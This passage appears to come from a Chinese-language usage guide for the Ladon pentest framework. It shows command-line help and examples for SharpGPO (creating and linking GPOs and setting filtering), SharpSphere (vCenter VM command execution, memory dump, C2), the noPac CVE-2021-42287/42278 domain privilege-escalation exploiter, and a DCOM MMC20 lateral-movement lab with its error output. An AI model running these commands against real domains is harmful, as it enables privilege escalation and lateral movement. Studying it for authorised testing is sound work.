- --TargetUsername
- The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>
- --TargetUserSID
- The targeted user's SID.
- Other options:
- --DomainController
- Set the target domain controller.
- --Domain
- Set the target domain.
- --Force
- Overwrite existing files if required.
复制代码
0x006 域渗透SharpGPO Ladon SharpGPO - Load SharpGPO
- Usage:
- Ladon SharpGPO --Action <Action> <Options>
- Actions:
- --Action
- GetOU List all OUs.
- NewOU Create an new OU.
- RemoveOU Remove an OU.
- MoveObject Move an AD Object to an OU / Remove an AD Object from an OU.
- GetGPO List all names and GUIDs of GPOs.
- NewGPO Create a new GPO.
- RemoveGPO Delete a GPO.
- GetGPLink List all gPLinks of domain, ou and sites.
- NewGPLink Create a new GpLink.
- RemoveGPLink Delete a GpLink from OU.
- GetSecurityFiltering List security filterings of the target GPO.
- NewSecurityFiltering Create a new security filtering.
- RemoveSecurityFiltering Delete a security filtering from GPO.
- Options:
- --DomainController Set ip/hostname of the domain controller.
- --Domain Set the target domain FQDN (e.g test.com).
- --OUName Set an OU name.
- --GPOName Set a GPO name.
- --GUID Set the GUID of the GPO.
- --DN Distinguished name of the target OU, domain or sites (e.g CN=IT Support,DC=testad,DC=com).
- --SrcDN Distinguished name of an AD Object, used by MoveObject.
- --DstDN Distinguished name of an AD Object, used by MoveObject.
- --BaseDN Distinguished name of an AD Object, used by NewOU.
- --DomainGroup Domain group name.
- --DomainUser Domain user name.
- --DomainComputer Domain computer name.
- --NTAccount NtAccount name.
- -h/--Help Display help menu.
- Examples:
- Ladon SharpGPO -h
- # OU Operations
- Ladon SharpGPO --Action GetOU
- Ladon SharpGPO --Action GetOU --OUName "IT Support"
- Ladon SharpGPO --Action NewOU --OUName "IT Support"
- Ladon SharpGPO --Action NewOU --OUName "App Dev" --BaseDN "OU=IT Support,DC=testad,DC=com"
- Ladon SharpGPO --Action MoveObject --SrcDN "CN=user01,CN=Users,DC=testad,DC=com" --DstDN "OU=IT Support,DC=testad,DC=com"
- Ladon SharpGPO --Action MoveObject --SrcDN "CN=user01,OU=IT Support,DC=testad,DC=com" --DstDN "CN=Users,DC=testad,DC=com"
- Ladon SharpGPO --Action RemoveOU --OUName "IT Support"
- Ladon SharpGPO --Action RemoveOU --DN "OU=IT Support,DC=testad,DC=com"
- # GPO Operations
- Ladon SharpGPO --Action GetGPO
- Ladon SharpGPO --Action GetGPO --GPOName testgpo
- Ladon SharpGPO --Action NewGPO --GPOName testgpo
- Ladon SharpGPO --Action RemoveGPO --GPOName testgpo
- Ladon SharpGPO --Action RemoveGPO --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8
- Ladon SharpGPO --Action GetGPLink
- Ladon SharpGPO --Action GetGPLink --DN "OU=IT Support,DC=testad,DC=com"
- Ladon SharpGPO --Action GetGPLink --GPOName testgpo
- Ladon SharpGPO --Action GetGPLink --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8
- Ladon SharpGPO --Action NewGPLink --DN "OU=IT Support,DC=testad,DC=com" --GPOName testgpo
- Ladon SharpGPO --Action NewGPLink --DN "OU=IT Support,DC=testad,DC=com" --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8
- Ladon SharpGPO --Action RemoveGPLink --DN "OU=IT Support,DC=testad,DC=com" --GPOName testgpo
- Ladon SharpGPO --Action RemoveGPLink --DN "OU=IT Support,DC=testad,DC=com" --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8
- Ladon SharpGPO --Action GetSecurityFiltering --GPOName testgpo
- Ladon SharpGPO --Action GetSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8
- Ladon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --DomainUser Alice
- Ladon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --DomainGroup "Domain Users"
- Ladon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --DomainComputer WIN-SERVER
- Ladon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --NTAccount "Authenticated Users"
- Ladon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainUser Alice
- Ladon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainGroup "Domain Users"
- Ladon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainComputer WIN-SERVER
- Ladon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --NTAccount "Authenticated Users"
- Ladon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --DomainUser Alice
- Ladon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --DomainGroup "Domain Users"
- Ladon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --DomainComputer WIN-SERVER
- Ladon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --NTAccount "Authenticated Users"
- Ladon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainUser Alice
- Ladon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainGroup "Domain Users"
- Ladon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainComputer WIN-SERVER
- Ladon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --NTAccount "Authenticated Users"
复制代码
0x007 SharpSphere vCenter管理虚拟机交互执行命令工具 Ladon SharpSphere - C:\Users\k8gege>Ladon SharpSphere
- 11.6.0.0
- Copyright ? 2023
- ERROR(S):
- No verb selected.
- dump Snapshot and download memory dump file
- list List all VMs managed by this vCenter
- execute Execute given command in target VM
- c2 Run C2 using C3's VMwareShareFile module
- upload Upload file to target VM
- download Download file from target VM
- help Display more information on a specific command.
- version Display version information.
复制代码
0x008 域渗透 域内提权CVE-2021-42287/CVE-2021-42278 Ladon noPac - CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter
- /domain /user /pass argument needed for scanning
- /dc /mAccount /nPassword argument needed for exploitation
- Examples:
- Ladon.exe noPac scan -domain htb.local -user domain_user -pass 'Password123!'
- Ladon.exe noPac -dc dc02.htb.local -mAccount demo -mPassword Password123!
- Ladon.exe noPac -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!
- Ladon.exe noPac -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
复制代码
0x009 Wiki文档搜索模块 例子:在update.txt里搜索 横向移动 都有哪些模块或功能可用,也可以在Github上的Ladon简明使用教程,查看命令用法 0x010 Dcom远程执行实验
攻击机: Win7、Win8、Win10或任意机器 IP: 192.168.9.8
服务器: Win2012或其它win操作系统,关闭防火墙 IP: 192.168.9.11
两台机器使用相同用户密码登陆,被攻击机登陆用户为管理员
攻击机打开的cmd可以是非管理员权限,指定IP即可在服务器执行命令
命令无回显,可通过重定向输出TXT查看命令执行结果 - Ladon MmcExec 192.168.9.11 "whoami > c:\1.txt"
复制代码
Dcom没有具体端口(所以关闭防火墙实验)
对于 MMC20.Application 这个 COM 组件,它本身并没有固定的端口号。MMC(Microsoft Management Console)是一个管理控制台框架,它允许你加载各种管理插件(Snap-in),每个插件都可以提供不同的功能和使用不同的端口。
具体的端口号取决于所加载的插件或扩展程序。例如,如果你使用 MMC20.Application 加载了远程桌面(Remote Desktop)插件,那么远程桌面会使用默认的端口号3389。如果你使用 MMC20.Application 加载了 IIS(Internet Information Services)插件,那么 IIS 可能会使用默认的端口号80(HTTP)或443(HTTPS)。
因此,要确定具体的端口号,需要查看你加载的具体插件的配置信息或文档。不同的插件可能使用不同的端口号进行通信。 注: 系统用户密码不一致无法横向执行 单纯修改密码不行 一定要重启登陆
当然也可以在IPC连接或Mimikatz注入hash后的CMD上执行 2012开启防火墙 同用户密码Win7报错 - 使用“1”个参数调用“CreateInstance”时发生异常:“从计算机 192.168.50.18 为 CLS
- ID 为 {49B2791A-B1AE-4C90-9B8E-E860BA07F889} 的远程组件检索 COM 类工厂失败,原
- 因是出现以下错误: 800706ba。”
复制代码
2012关闭防火墙 Win7
网络不通报错 - 使用“1”个参数调用“CreateInstance”时发生异常:“从计算机 192.168.50.18 为 CLSID 为 {49B2791A-B1AE-4C90-9B8E-E860BA07F
- 889} 的远程组件检索 COM 类工厂失败,原因是出现以下错误: 800706ba。”
- 所在位置 行:1 字符: 28
- + [activator]::CreateInstance <<<< ([type]::GetTypeFromProgID("MMC20.Application","192.168.50.18")).Document.ActiveView
- .ExecuteShellCommand('cmd.exe',$null,"/c whoami > c:\users\public\test.txt","Minimzed")
- + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
- + FullyQualifiedErrorId : DotNetMethodException
复制代码
不同用户同密码、同用户不同密码 报错 - 使用“1”个参数调用“CreateInstance”时发生异常:“从计算机 192.168.50.18 为 CLS
- ID 为 {49B2791A-B1AE-4C90-9B8E-E860BA07F889} 的远程组件检索 COM 类工厂失败,原
- 因是出现以下错误: 80070005。”
- 所在位置 行:1 字符: 28
复制代码
Win8同用户 密码不一致 - Exception calling "CreateInstance" with "1" argument(s): "Retrieving the COM
- class factory for remote component with CLSID
- {49B2791A-B1AE-4C90-9B8E-E860BA07F889} from machine 192.168.50.18 failed due
- to the following error: 80070005 192.168.50.18."
复制代码
|